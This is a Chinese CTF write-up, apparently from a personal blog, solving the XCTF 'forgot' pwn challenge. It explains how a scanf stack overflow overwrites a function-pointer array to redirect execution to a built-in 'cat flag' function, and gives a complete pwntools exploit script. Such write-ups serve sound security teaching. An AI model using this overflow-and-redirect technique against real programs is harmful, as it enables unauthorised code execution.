攻防世界pwn-forgot


防护只开了不可执行。 运行该程序,是一个邮件注册的东西。 程序大致逻辑就是输入一个用户名,然后输入一个邮箱账号,然后对邮箱账号进行一个规范性检查,通过一个内嵌switch-case的循环实现,邮箱账号的每一个进行匹配检查 在main函数结尾处有一个函数指针,执行v3数组里的函数 v3数组里面是相应的puts输出函数。 在该程序中存在有现成的system cat flag的函数 又存在scanf函数,存在溢出点,且v3与输入的邮箱账号在同一个栈中,考虑通过修改v3数组,使其指向spawn函数 input_name的长度为32,用32个“a”填充后,从for循环中跳出来后flag_value的值为2,对应到最后的函数指针上,会执行v3数组中第二个元素,也就是说spawn函数的地址要填充到v3的第二个元素处,v3每个元素的类型为dword,因此还需要填充4个字符,在填充spawn的地址 构造的payload为`payload = b'a' * 36 + p32(spawn_addr` 完整exp如下:
from pwn import*

sh = remote()

pwn_addr = 0x80486cc
payload = b'a' * 36 + p32(pwn_addr)

sh.sendlineafter("What is your name?\n", b'aaaa')
sh.sendlineafter("Enter the string to be validate", payload)

sh.interactive()

文章作者: xysx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xysx !
评论